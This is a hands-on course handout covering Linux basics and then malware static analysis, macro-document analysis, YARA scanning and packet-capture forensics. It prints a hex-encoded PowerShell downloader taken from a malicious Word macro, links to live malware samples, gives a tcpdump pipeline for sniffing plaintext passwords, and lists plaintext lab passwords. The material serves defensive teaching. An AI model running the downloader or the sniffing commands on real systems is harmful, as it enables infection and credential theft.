PMRF Linux Basics

#####################################################
# PMRF Intro to Linux & Comptia Linux+ Exam Prep    #
# By Joe McCray aegisweaponssystem                  #
#####################################################

- Here is a good set of slides for getting started with Linux:
http://www.slideshare.net/olafusimichael/linux-training-24086319


- Here is a good tutorial that you should complete before doing the labs below:
http://linuxsurvival.com/linux-tutorial-introduction/


- I prefer to use Putty to SSH into my Linux host.
- You can download Putty from here:
- http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe

Here is the information to put into putty

Host Name:          45.32.217.27
protocol:           ssh
port:               22
username:           pmrf
password:


########################
# Basic Linux Commands #
########################

---------------------------Type This-----------------------------------
cd ~

pwd

whereis pwd

which pwd

sudo find / -name pwd

/bin/pwd

mkdir yourname					<---- replace 'yourname' with your first name in lowercase with no spaces or special characters please

cd yourname						<---- replace 'yourname' with your first name in lowercase with no spaces or special characters please

touch one two three

ls -l t							(without pressing the Enter key, press the Tab key twice. What happens?)

h								(and again without pressing the Enter key, press the Tab key twice. What happens?)

Press the 'Up arrow key'		(What happens?)

Press 'Ctrl-A'					(What happens?)

ls

clear							(What happens?)

echo one > one

cat one							(What happens?)

man cat							(What happens?)
	q

cat two

cat one > two

cat two

cat one two > three

cat three

echo four >> three

cat three 						(What happens?)

wc -l three

man wc
	q

info wc
	q

cat three | grep four

cat three | grep one

man grep
	q


man ps
	q

ps

ps aux

ps aux | less

Press the 'Up arrow key'		(What happens?)

Press the 'Down arrow key'		(What happens?)
	q

top
    q
-----------------------------------------------------------------------


#########
# Files #
#########
---------------------------Type This-----------------------------------
cd ~

pwd

cd ~/yourname/

pwd

ls

mkdir LinuxBasics

cd LinuxBasics

pwd

ls

mkdir files

cp one files/

ls files/

cd files/

cp ../two .

ls

cp ../three .

ls

tar cvf files.tar *

ls

gzip files.tar

ls

rm -rf one two three

ls

tar -zxvf files.tar.gz

rm -rf files.tar.gz

zip data *

unzip -l data.zip

mkdir /tmp/yourname/

unzip data.zip -d /tmp/yourname/
-----------------------------------------------------------------------



############
# VIM Demo #
############
---------------------------Type This-----------------------------------
cd ~/yourname/LinuxBasics

mkdir vimlesson

cd vimlesson

vi lesson1.sh

i								(press "i" to get into INSERT mode and then paste in the lines below)

#!/bin/bash

echo "This is my first time using vi to create a shell script"
echo " "
echo " "
echo " "
sleep 5
echo "Ok, now let's clear the screen"
sleep 3
clear


---------------don't put this line in your script----------------------------

ESC			(press the ESC key to get you out of INSERT mode)

[SHIFT+:]	(press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.


wq			(typing "wq" immediately after SHIFT: will save (w for write, and q for quit meaning exit vim).



vi lesson1.sh

[SHIFT+:]	(press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.

set number 	(typing "set number" immediately after SHIFT: will add line numbers to vim).

wq			(typing "wq" immediately after SHIFT: will save (w for write, and q for quit meaning exit vim).




vi lesson1.sh

[SHIFT+:]	(press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.

set number 	(typing "set number" immediately after SHIFT: will add line numbers to vim).


[SHIFT+:]	(press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.

/echo		(typing "/echo" immediately after SHIFT: will search the file for the word echo).

[SHIFT+:]	(press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.

wq			(typing "wq" immediately after SHIFT: will save (w for write, and q for quit meaning exit vim).




vi lesson1.sh

[SHIFT+:]	(press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.

set number 	(typing "set number" immediately after SHIFT: will add line numbers to vim).


[SHIFT+:]	(press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.

4		(typing "4" immediately after SHIFT: will take you to line number 4).

[SHIFT+:]	(press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.

wq			(typing "wq" immediately after SHIFT: will save (w for write, and q for quit meaning exit vim).




vi lesson1.sh

[SHIFT+:]	(press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.

set number 	(typing "set number" immediately after SHIFT: will add line numbers to vim).


[SHIFT+:]	(press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.

4		(typing "4" immediately after SHIFT: will take you to line number 4).

dd		(typing "dd" will delete the line that you are on)

[SHIFT+:]	(press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.

wq			(typing "wq" immediately after SHIFT: will save (w for write, and q for quit meaning exit vim).




vi lesson1.sh

[SHIFT+:]	(press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.

set number 	(typing "set number" immediately after SHIFT: will add line numbers to vim).


[SHIFT+:]	(press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.

4		(typing "4" immediately after SHIFT: will take you to line number 4).

dd		(typing "dd" will delete the line that you are on)

[SHIFT+:]	(press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.

syntax on		(typing "syntax on" immediately after SHIFT: will turn on syntax highlighting

[SHIFT+:]	(press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.

set tabstop=5	(typing "set tabstop=5" immediately after SHIFT: will set your tabs to 5 spaces

[SHIFT+:]	(press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.

wq			(typing "wq" immediately after SHIFT: will save (w for write, and q for quit meaning exit vim).




vi .vimrc
i			(press "i" to get into INSERT mode and then paste in the lines below)


set number
syntax on
set tabstop=5

ESC			(press the ESC key to get you out of INSERT mode)

[SHIFT+:]	(press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.

wq			(typing "wq" immediately after SHIFT: will save (w for write, and q for quit meaning exit vim).






vi lesson1.sh

[SHIFT+:]	(press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.

echo $MYVIMRC	(typing "echo $MYVIMRC" immediately after SHIFT: will display the path to your new .vimrc file

[SHIFT+:]	(press SHIFT and the : keys at the same time and you should see a : in the bottom left corner of the screen.

wq			(typing "wq" immediately after SHIFT: will save (w for write, and q for quit meaning exit vim).
-----------------------------------------------------------------------








###############
# Permissions #
###############
---------------------------Type This-----------------------------------
cd ~/yourname/LinuxBasics

ls -l one
-----------------------------------------------------------------------
We can determine a lot from examining the results of this command. The file "one" is owned by user "me".
Now "me" has the right to read and write this file.
The file is owned by the group "me". Members of the group "me" can also read and write this file.
Everybody else can read this file


---------------------------Type This-----------------------------------
ls -l /bin/bash
-----------------------------------------------------------------------

Here we can see:

The file "/bin/bash" is owned by user "root". The superuser has the right to read, write, and execute this file.
The file is owned by the group "root". Members of the group "root" can also read and execute this file.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              Everybody else can read and execute this file


The next command you need to know is "chmod"
rwx rwx rwx = 111 111 111
rw- rw- rw- = 110 110 110
rwx --- --- = 111 000 000

and so on...

rwx = 111 in binary = 7
rw- = 110 in binary = 6
r-x = 101 in binary = 5
r-- = 100 in binary = 4


---------------------------Type This-----------------------------------
ls -l one

chmod 600 one

ls -l one

sudo useradd yourname
	aegisweaponssystem


sudo passwd yourname

     P@$$w0rd321
     P@$$w0rd321

sudo chown testuser one
	aegisweaponssystem

ls -l one

sudo chgrp testuser one
	aegisweaponssystem

ls -l one

id

su testuser
     P@$$w0rd321
-----------------------------------------------------------------------

Here is a table of numbers that covers all the common settings. The ones beginning with "7" are used with programs (since they enable execution) and the rest are for other kinds of files.

Value	Meaning
777 (rwxrwxrwx) 	No restrictions on permissions. Anybody may do anything. Generally not a desirable setting.

755 (rwxr-xr-x) 	The file's owner may read, write, and execute the file. All others may read and execute the file. This setting is common for programs that are used by all users.

700 (rwx------) 	The file's owner may read, write, and execute the file. Nobody else has any rights. This setting is useful for programs that only the owner may use and must be kept private from others.

666 (rw-rw-rw-) 	All users may read and write the file.

644 (rw-r--r--) 	The owner may read and write a file, while all others may only read the file. A common setting for data files that everybody may read, but only the owner may change.

600 (rw-------) 	The owner may read and write a file. All others have no rights. A common setting for data files that the owner wants to keep private.



Directory permissions
---------------------
The chmod command can also be used to control the access permissions for directories. In most ways, the permissions scheme for directories works the same way as they do with files. However, the execution permission is used in a different way. It provides control for access to file listing and other things. Here are some useful settings for directories:

Value	Meaning
777 (rwxrwxrwx) 	No restrictions on permissions.
Anybody may list files, create new files in the directory and delete files in the directory.
Generally not a good setting.



755 (rwxr-xr-x) 	The directory owner has full access.
All others may list the directory, but cannot create files nor delete them.
This setting is common for directories that you wish to share with other users.



700 (rwx------) 	The directory owner has full access. Nobody else has any rights. This setting is useful for directories that only the owner may use and must be kept private from others.

######################
# Process Management #
######################
---------------------------Type This-----------------------------------
top
	q

htop
	q

ps

ps aux

ps -A

ps -A | less

ps axjf

pstree

pstree -A

pgrep bash

pgrep init

ps aux | grep apache
-----------------------------------------------------------------------



You can list all of the signals that are possible to send with kill by typing:
---------------------------Type This-----------------------------------
kill -l

sudo kill -HUP pid_of_apache

The pkill command works in almost exactly the same way as kill, but it operates on a process name instead:

pkill -9 ping
The above command is the equivalent of:

kill -9 `pgrep ping`
-----------------------------------------------------------------------




################
# Hashing Demo #
################
---------------------------Type This-----------------------------------
cd ~/yourname/LinuxBasics

mkdir hashdemo

cd hashdemo

echo test > test.txt

cat test.txt

md5sum test.txt

echo hello >> test.txt

cat test.txt

md5sum test.txt

echo test2 > test2.txt

cat test2.txt

sha256sum test2.txt

echo hello >> test2.txt

cat test2.txt

sha256sum test2.txt

cd ..
-----------------------------------------------------------------------



#################################
# Symmetric Key Encryption Demo #
#################################
---------------------------Type This-----------------------------------
cd ~/yourname/LinuxBasics

mkdir gpgdemo

cd gpgdemo

echo test > test.txt

cat test.txt

gpg -c test.txt
	password
	password

ls | grep test

cat test.txt

cat test.txt.gpg

rm -rf test.txt

ls | grep test

gpg -o output.txt test.txt.gpg
	password

cat output.txt
-----------------------------------------------------------------------



#########################################################################################################################
# Asymmetric Key Encryption Demo 											                                            #
#															                                                            #
# Configure random number generator 											                                        #
# https://www.howtoforge.com/helping-the-random-number-generator-to-gain-enough-entropy-with-rng-tools-debian-lenny	    #
#########################################################################################################################
---------------------------Type This-----------------------------------
cd ~/yourname/LinuxBasics/gpgdemo

echo hello > file1.txt

echo goodbye > file2.txt

echo green > file3.txt

echo blue > file4.txt

tar czf files.tar.gz *.txt

gpg --gen-key
	1
	1024
	0
	y
	John Doe
	[email protected]
	--blank comment--
	O
		password
		password



gpg --armor --output file-enc-pubkey.txt --export 'John Doe'

cat file-enc-pubkey.txt

gpg --armor --output file-enc-privkey.asc --export-secret-keys 'John Doe'

cat file-enc-privkey.asc

gpg --encrypt --recipient 'John Doe' files.tar.gz

rm -rf files.tar.gz *.txt

ls

tar -zxvf files.tar.gz.gpg

gpg --output output.tar.gz --decrypt files.tar.gz.gpg
	password

tar -zxvf output.tar.gz

ls
-----------------------------------------------------------------------



##############################################
# Log Analysis with Linux command-line tools #
##############################################
- The following command line executables are found in the Mac as well as most Linux Distributions.

cat –  prints the content of a file in the terminal window
grep – searches and filters based on patterns
awk –  can sort each row into fields and display only what is needed
sed –  performs find and replace functions
sort – arranges output in an order
uniq – compares adjacent lines and can report, filter or provide a count of duplicates





##############
# Cisco Logs #
##############
---------------------------Type This-----------------------------------
wget https://s3.amazonaws.com/infosecaddictsfiles/cisco.log
-----------------------------------------------------------------------


AWK Basics
----------
- To quickly demonstrate the print feature in awk, we can instruct it to show only the 5th word of each line. Here we will print $5. Only the last 4 lines are being shown for brevity.
---------------------------Type This-----------------------------------
cat cisco.log | awk '{print $5}' | tail -n 4
-----------------------------------------------------------------------



- Looking at a large file would still produce a large amount of output. A more useful thing to do might be to output every entry found in “$5”, group them together, count them, then sort them from the greatest to least number of occurrences. This can be done by piping the output through “sort“, using “uniq -c” to count the like entries, then using “sort -rn” to sort it in reverse order.
---------------------------Type This-----------------------------------
cat cisco.log | awk '{print $5}'| sort | uniq -c | sort -rn
-----------------------------------------------------------------------



- While that’s sort of cool, it is obvious that we have some garbage in our output. Evidently we have a few lines that aren’t conforming to the output we expect to see in $5. We can insert grep to filter the file prior to feeding it to awk. This insures that we are at least looking at lines of text that contain “facility-level-mnemonic”.
---------------------------Type This-----------------------------------
cat cisco.log | grep %[a-zA-Z]*-[0-9]-[a-zA-Z]* | awk '{print $5}' | sort | uniq -c | sort -rn
-----------------------------------------------------------------------




- Now that the output is cleaned up a bit, it is a good time to investigate some of the entries that appear most often. One way to see all occurrences is to use grep.
---------------------------Type This-----------------------------------
cat cisco.log | grep %LINEPROTO-5-UPDOWN:

cat cisco.log | grep %LINEPROTO-5-UPDOWN:| awk '{print $10}' | sort | uniq -c | sort -rn

cat cisco.log | grep %LINEPROTO-5-UPDOWN:| sed 's/,//g' | awk '{print $10}' | sort | uniq -c | sort -rn

cat cisco.log | grep %LINEPROTO-5-UPDOWN:| sed 's/,//g' | awk '{print $10 " changed to " $14}' | sort | uniq -c | sort -rn
-----------------------------------------------------------------------


################
# The Scenario #
################
You've come across a file that has been flagged by one of your security products (AV Quarantine, HIPS, Spam Filter, Web Proxy, or digital forensics scripts).


The fastest thing you can do is perform static analysis.



###################
# Static Analysis #
###################

- After logging please open a terminal window and type the following commands:
---------------------------Type This-----------------------------------
cd Desktop/
-----------------------------------------------------------------------

- This is actual Malware (remmeber to run it in a VM - the password to extract it is 'infected':

---------------------------Type This-----------------------------------
cd ~/Desktop/
wget https://s3.amazonaws.com/infosecaddictsfiles/malware-password-is-infected.zip --no-check-certificate
wget https://s3.amazonaws.com/infosecaddictsfiles/analyse_malware.py --no-check-certificate

unzip malware-password-is-infected.zip
    infected

file malware.exe

mv malware.exe malware.pdf

file malware.pdf

mv malware.pdf malware.exe

hexdump -n 2 -C malware.exe
-----------------------------------------------------------------------


***What is '4d 5a' or 'MZ'***
Reference:
http://www.garykessler.net/library/file_sigs.html

---------------------------Type This-----------------------------------
objdump -x malware.exe

strings malware.exe

strings --all malware.exe | head -n 6

strings malware.exe | grep -i dll

strings malware.exe | grep -i library

strings malware.exe | grep -i reg

strings malware.exe | grep -i hkey

strings malware.exe | grep -i hku
-----------------------------------------------------------------------
                            - We didn't see anything like HKLM, HKCU or other registry type stuff


---------------------------Type This-----------------------------------
strings malware.exe | grep -i irc

strings malware.exe | grep -i join

strings malware.exe | grep -i admin

strings malware.exe | grep -i list
-----------------------------------------------------------------------

                            - List of IRC commands: https://en.wikipedia.org/wiki/List_of_Internet_Relay_Chat_commands

---------------------------Type This-----------------------------------
sudo apt-get install -y python-pefile
     malware

vi analyse_malware.py

python analyse_malware.py malware.exe
-----------------------------------------------------------------------




################################
# Good references for WannaCry #
################################

References:

https://gist.github.com/rain-1/989428fa5504f378b993ee6efbc0b168
https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/
https://joesecurity.org/reports/report-db349b97c37d22f5ea1d1841e3c89eb4.html



- After logging please open a terminal window and type the following commands:
---------------------------Type This-----------------------------------
cd Desktop/

wget https://s3.amazonaws.com/infosecaddictsfiles/wannacry.zip

unzip wannacry.zip
     infected

file wannacry.exe

mv wannacry.exe malware.pdf

file malware.pdf

mv malware.pdf wannacry.exe

hexdump -n 2 -C wannacry.exe
-----------------------------------------------------------------------



***What is '4d 5a' or 'MZ'***
Reference:
http://www.garykessler.net/library/file_sigs.html




---------------------------Type This-----------------------------------
objdump -x wannacry.exe

strings wannacry.exe

strings --all wannacry.exe | head -n 6

strings wannacry.exe | grep -i dll

strings wannacry.exe | grep -i library

strings wannacry.exe | grep -i reg

strings wannacry.exe | grep -i key

strings wannacry.exe | grep -i rsa

strings wannacry.exe | grep -i open

strings wannacry.exe | grep -i get

strings wannacry.exe | grep -i mutex

strings wannacry.exe | grep -i irc

strings wannacry.exe | grep -i join

strings wannacry.exe | grep -i admin

strings wannacry.exe | grep -i list
-----------------------------------------------------------------------










Hmmmmm.......what's the latest thing in the news - oh yeah "WannaCry"

Quick Google search for "wannacry ransomeware analysis"


Reference
https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/

- Yara Rule -


Strings:
$s1 = “Ooops, your files have been encrypted!” wide ascii nocase
$s2 = “Wanna Decryptor” wide ascii nocase
$s3 = “.wcry” wide ascii nocase
$s4 = “WANNACRY” wide ascii nocase
$s5 = “WANACRY!” wide ascii nocase
$s7 = “icacls . /grant Everyone:F /T /C /Q” wide ascii nocase








Ok, let's look for the individual strings


---------------------------Type This-----------------------------------
strings wannacry.exe | grep -i ooops

strings wannacry.exe | grep -i wanna

strings wannacry.exe | grep -i wcry

strings wannacry.exe | grep -i wannacry

strings wannacry.exe | grep -i wanacry          **** Matches $s5, hmmm.....
 -----------------------------------------------------------------------






####################################
# Tired of GREP - let's try Python #
####################################
Decided to make my own script for this kind of stuff in the future. I

Reference1:
https://s3.amazonaws.com/infosecaddictsfiles/analyse_malware.py

This is a really good script for the basics of static analysis

Reference:
https://joesecurity.org/reports/report-db349b97c37d22f5ea1d1841e3c89eb4.html


This is really good for showing some good signatures to add to the Python script


Here is my own script using the signatures (started this yesterday, but still needs work):
https://pastebin.com/guxzCBmP



---------------------------Type This-----------------------------------
sudo apt install -y python-pefile
     infosecaddicts



wget https://pastebin.com/raw/guxzCBmP


mv guxzCBmP am.py


vi am.py

python am.py wannacry.exe
-----------------------------------------------------------------------







Building a Malware Scanner
--------------------------

---------------------------Type This-----------------------------------
mkdir ~/Desktop/malwarescanner

cd ~/Desktop/malwarescanner

wget https://github.com/jonahbaron/malwarescanner/archive/master.zip

unzip master.zip

cd malwarescanner-master/

python scanner.py -h

cat strings.txt

cat hashes.txt

mkdir ~/Desktop/malcode

cp ~/Desktop/malware.exe ~/Desktop/malcode

python scanner.py -H hashes.txt -D ~/Desktop/malcode/ strings.txt

cd ~/Desktop/
 -----------------------------------------------------------------------


#####################################################
# Analyzing Macro Embedded Malware                  #
# Reference:                                        #
# https://jon.glass/analyzes-dridex-malware-p1/     #
#####################################################
---------------------------Type This-----------------------------------
cd ~/Desktop/


sudo pip install olefile


mkdir ~/Desktop/oledump

cd ~/Desktop/oledump

wget http://didierstevens.com/files/software/oledump_V0_0_22.zip

unzip oledump_V0_0_22.zip

wget https://s3.amazonaws.com/infosecaddictsfiles/064016.zip

unzip 064016.zip
     infected

python oledump.py 064016.doc

python oledump.py 064016.doc -s A4 -v
-----------------------------------------------------------------------



- From this we can see this Word doc contains an embedded file called editdata.mso which contains seven data streams.
- Three of the data streams are flagged as macros: A3:’VBA/Module1′, A4:’VBA/Module2′, A5:’VBA/ThisDocument’.

---------------------------Type This-----------------------------------
python oledump.py 064016.doc -s A5 -v
-----------------------------------------------------------------------

- As far as I can tell, VBA/Module2 does absolutely nothing. These are nonsensical functions designed to confuse heuristic scanners.

---------------------------Type This-----------------------------------
python oledump.py 064016.doc -s A3 -v

- Look for "GVhkjbjv" and you should see:

636D64202F4B20706F7765727368656C6C2E657865202D457865637574696F6E506F6C69637920627970617373202D6E6F70726F66696C6520284E65772D4F626A6563742053797374656D2E4E65742E576562436C69656E74292E446F776E6C6F616446696C652827687474703A2F2F36322E37362E34312E31352F6173616C742F617373612E657865272C272554454D50255C4A494F696F646668696F49482E63616227293B20657870616E64202554454D50255C4A494F696F646668696F49482E636162202554454D50255C4A494F696F646668696F49482E6578653B207374617274202554454D50255C4A494F696F646668696F49482E6578653B

- Take that long blob that starts with 636D and finishes with 653B and paste it in:
http://www.rapidtables.com/convert/number/hex-to-ascii.htm




##############
# Yara Ninja #
##############
---------------------------Type This-----------------------------------
sudo apt-get remove -y yara


wget https://github.com/plusvic/yara/archive/v3.4.0.zip

sudo apt-get -y install libtool


unzip v3.4.0.zip

cd yara-3.4.0

./bootstrap.sh

./configure

make

sudo make install


yara -v

cd ..

wget https://github.com/Yara-Rules/rules/archive/master.zip

unzip master.zip

cd ~/Desktop

yara rules-master/packer.yar malcode/malware.exe
 -----------------------------------------------------------------------

Places to get more Yara rules:
------------------------------
https://malwareconfig.com/static/yaraRules/
https://github.com/kevthehermit/YaraRules
https://github.com/VectraThreatLab/reyara



Yara rule sorting script:
-------------------------
https://github.com/mkayoh/yarasorter


---------------------------Type This-----------------------------------
cd ~/Desktop/rules-master
for i in $( ls *.yar --hide=master.yar ); do echo include \"$i\";done > master.yar
cd ~/Desktop/
yara rules-master/master.yar malcode/malware.exe
 -----------------------------------------------------------------------









Here is a 2 million sample malware DB created by Derek Morton that you can use to start your DB with:
http://derekmorton.name/files/malware_12-14-12.sql.bz2


Malware Repositories:
http://malshare.com/index.php
http://www.malwareblacklist.com/
http://www.virusign.com/
http://virusshare.com/
http://www.tekdefense.com/downloads/malware-samples/




###############################
# Creating a Malware Database #
###############################

Creating a malware database (sqlite)
---------------------------Type This-----------------------------------
sudo apt-get install -y python-simplejson python-simplejson-dbg


wget https://s3.amazonaws.com/infosecaddictsfiles/avsubmit.py
wget https://s3.amazonaws.com/infosecaddictsfiles/malware-password-is-infected.zip

unzip malware-password-is-infected.zip
    infected

python avsubmit.py --init

python avsubmit.py -f malware.exe -e
 -----------------------------------------------------------------------




Creating a malware database (mysql)
-----------------------------------
- Step 1: Installing MySQL database
- Run the following command in the terminal:
---------------------------Type This-----------------------------------
sudo apt-get install mysql-server


- Step 2: Installing Python MySQLdb module
- Run the following command in the terminal:
---------------------------Type This-----------------------------------
sudo apt-get build-dep python-mysqldb


sudo apt-get install python-mysqldb

 -----------------------------------------------------------------------

Step 3: Logging in
Run the following command in the terminal:
---------------------------Type This-----------------------------------
mysql -u root -p                    (set a password of 'malware')

- Then create one database by running following command:
---------------------------Type This-----------------------------------
create database malware;

exit;

wget https://raw.githubusercontent.com/dcmorton/MalwareTools/master/mal_to_db.py

vi mal_to_db.py                     (fill in database connection information)

python mal_to_db.py -i
 -----------------------------------------------------------------------

------- check it to see if the files table was created ------

mysql -u root -p
    malware

show databases;

use malware;

show tables;

describe files;

exit;

---------------------------------


- Now add the malicious file to the DB
---------------------------Type This-----------------------------------
python mal_to_db.py -f malware.exe -u
 -----------------------------------------------------------------------


- Now check to see if it is in the DB
---------------------------Type This-----------------------------------
mysql -u root -p
    malware

mysql> use malware;

select id,md5,sha1,sha256,time FROM files;

mysql> quit;
------------------------------------------------------------------------




#################
# PCAP Analysis #
#################
---------------------------Type This-----------------------------------
cd ~/Desktop/

mkdir suspiciouspcap/

cd suspiciouspcap/

wget https://s3.amazonaws.com/infosecaddictsfiles/suspicious-time.pcap

wget https://s3.amazonaws.com/infosecaddictsfiles/chaosreader.pl


perl chaosreader.pl suspicious-time.pcap

firefox index.html

cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)"

cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)" | awk '{print $4, $5, $6}' | sort | uniq -c | sort -nr


for i in session_00[0-9]*.http.html; do srcip=`cat "$i" | grep 'http:\ ' | awk '{print $2}' |  cut -d ':' -f1`; dstip=`cat "$i" | grep 'http:\ ' | awk '{print $4}' |  cut -d ':' -f1`; host=`cat "$i" | grep 'Host:\ ' | sort -u | sed -e 's/Host:\ //g'`; echo "$srcip --> $dstip = $host";  done | sort -u
------------------------------------------------------------------------



####################
# Intro to TCPDump #
####################
---------------------------Type This-----------------------------------
sudo apt-get install tcpdump



Basic sniffing
--------------
---------------------------Type This-----------------------------------
sudo tcpdump -n


Now lets increase the display resolution of this packet, or get more details about it. The verbose switch comes in handy
---------------------------Type This-----------------------------------
sudo tcpdump -v -n



Getting the ethernet header (link layer headers)
------------------------------------------------
In the above examples details of the ethernet header are not printed. Use the -e option to print the ethernet header details as well.
---------------------------Type This-----------------------------------
sudo tcpdump -vv -n -e
------------------------------------------------------------------------

Sniffing a particular interface
-------------------------------
In order to sniff a particular network interface we must specify it with the -i switch. First lets get the list of available interfaces using the -D switch.
---------------------------Type This-----------------------------------
sudo tcpdump -D
------------------------------------------------------------------------

Filtering packets using expressions - Selecting protocols
---------------------------------------------------------
---------------------------Type This-----------------------------------
$ sudo tcpdump -n tcp
------------------------------------------------------------------------

Particular host or port
-----------------------
Expressions can be used to specify source ip, destination ip, and port numbers. The next example picks up all those packets with source address 192.168.1.101
---------------------------Type This-----------------------------------
$ sudo tcpdump -n 'src 192.168.1.101'
------------------------------------------------------------------------

Next example picks up dns request packets, either those packets which originate from local machine and go to port 53 of some other machine.
---------------------------Type This-----------------------------------
$ sudo tcpdump -n 'udp and dst port 53'
------------------------------------------------------------------------

To display the FTP packets coming from 192.168.1.100 to 192.168.1.2
---------------------------Type This-----------------------------------
$ sudo tcpdump 'src 192.168.1.100 and dst 192.168.1.2 and port ftp'
------------------------------------------------------------------------

Search the network traffic using grep

Grep can be used along with tcpdump to search the network traffic. Here is a very simple example
---------------------------Type This-----------------------------------
$ sudo tcpdump -n -A | grep -e 'POST'
------------------------------------------------------------------------

So what is the idea behind searching packets. Well one good thing can be to sniff passwords.
Here is quick example to sniff passwords using egrep

---------------------------Type This-----------------------------------
tcpdump port http or port ftp or port smtp or port imap or port pop3 -l -A | egrep -i 'pass=|pwd=|log=|login=|user=|username=|pw=|passw=|passwd=|password=|pass:|user:|username:|password:|login:|pass |user ' --color=auto --line-buffered -B20
------------------------------------------------------------------------



#########
# NGrep #
#########

Install ngrep on Ubuntu
---------------------------Type This-----------------------------------
$ sudo apt-get install ngrep
------------------------------------------------------------------------

Search network traffic for string "User-Agent: "
---------------------------Type This-----------------------------------
$ sudo ngrep -d eth0 "User-Agent: " tcp and port 80
------------------------------------------------------------------------
In the above command :
a) tcp and port 80 - is the bpf filter (Berkeley Packet Filter) , that sniffs only TCP packet with port number 80
b) The d option specifies the interface to sniff. eth0 in this case.
c) "User-Agent: " is the string to search for. All packets that have that string are displayed.

2. Search network packets for GET or POST requests :
---------------------------Type This-----------------------------------
$ sudo ngrep -l -q -d eth0 "^GET |^POST " tcp and port 80
------------------------------------------------------------------------
The l option makes the output buffered and the q option is for quiet ( Be quiet; don't output any information other than packet headers and their payloads (if relevant) ).

3. ngrep without any options would simply capture all packets.
---------------------------Type This-----------------------------------
$ sudo ngrep
------------------------------------------------------------------------

Reference:
https://dl.packetstormsecurity.net/papers/general/ngreptut.txt
---------------------------Type This-----------------------------------
$ sudo ngrep -d eth0 -n 3

$ sudo ngrep -d any port 25
------------------------------------------------------------------------

This will let you monitor all activity crossing source or destination port 25
(SMTP).
---------------------------Type This-----------------------------------
$ sudo ngrep -wi -d wlan0 'user|pass' port 6667

$ sudo ngrep -wi -d any 'user|pass' port 21
------------------------------------------------------------------------





#############################
# PCAP Analysis with tshark #
#############################
---------------------------Type This-----------------------------------
sudo tshark -i eth0 -r suspicious-time.pcap -qz io,phs


tshark -r suspicious-time.pcap | grep 'NB.*20\>' | sed -e 's/<[^>]*>//g' | awk '{print $3,$4,$9}' | sort -u


tshark -r suspicious-time.pcap | grep 'NB.*1e\>' | sed -e 's/<[^>]*>//g' | awk '{print $3,$4,$9}' | sort -u


tshark -r suspicious-time.pcap arp | grep has | awk '{print $3," -> ",$9}' | tr -d '?'


tshark -r suspicious-time.pcap -Tfields -e "eth.src" | sort | uniq


tshark -r suspicious-time.pcap -Y "browser.command==1" -Tfields -e "ip.src" -e "browser.server" | uniq

tshark -r suspicious-time.pcap -Tfields -e "eth.src" | sort |uniq

tshark -r suspicious-time.pcap -qz ip_hosts,tree

tshark -r suspicious-time.pcap -Y "http.request" -Tfields -e "ip.src" -e "http.user_agent" | uniq

tshark -r suspicious-time.pcap -Y "dns" -T fields -e "ip.src" -e "dns.flags.response" -e "dns.qry.name"


whois rapidshare.com.eyu32.ru

whois sploitme.com.cn


tshark -r suspicious-time.pcap -Y http.request  -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}'

tshark -r suspicious-time.pcap -Y http.request  -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}' | grep -v -e '\/image' -e '.css' -e '.ico' -e google -e 'honeynet.org'

tshark -r suspicious-time.pcap -qz http_req,tree

tshark -r suspicious-time.pcap -Y "data-text-lines contains \"<script\"" -T fields -e frame.number -e ip.src -e ip.dst

tshark -r suspicious-time.pcap -Y http.request  -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}' | grep -v -e '\/image' -e '.css' -e '.ico'  | grep 10.0.3.15 | sed -e 's/\?[^cse].*/\?\.\.\./g'



######################################
# PCAP Analysis with forensicPCAP.py #
######################################
---------------------------Type This-----------------------------------
cd ~/Desktop/suspiciouspcap/

wget https://raw.githubusercontent.com/madpowah/ForensicPCAP/master/forensicPCAP.py

sudo pip install cmd2==0.7.9


python forensicPCAP.py suspicious-time.pcap
------------------------------------------------------------------------


---------------------------Type This-----------------------------------
ForPCAP >>> help
------------------------------------------------------------------------

Prints stats about PCAP
---------------------------Type This-----------------------------------
ForPCAP >>> stat
------------------------------------------------------------------------

Prints all DNS requests from the PCAP file. The id before the DNS is the packet's id which can be use with the "show" command.
---------------------------Type This-----------------------------------
ForPCAP >>> dns

ForPCAP >>> show
------------------------------------------------------------------------

Prints all destination ports from the PCAP file. The id before the DNS is the packet's id which can be use with the "show" command.
---------------------------Type This-----------------------------------
ForPCAP >>> dstports

ForPCAP >>> show
---------------------------Type This-----------------------------------

Prints the number of ip source and store them.
---------------------------Type This-----------------------------------
ForPCAP >>> ipsrc

ForPCAP >>> show
------------------------------------------------------------------------

Prints the number of web's requests and store them
ForPCAP >>> web

ForPCAP >>> show
------------------------------------------------------------------------


Prints the number of mail's requests and store them
---------------------------Type This-----------------------------------
ForPCAP >>> mail

ForPCAP >>> show
------------------------------------------------------------------------





#############################
# Understanding Snort rules #
#############################
Field 1: Action - Snort can process events in 1 of 3 ways (alert, log, drop)

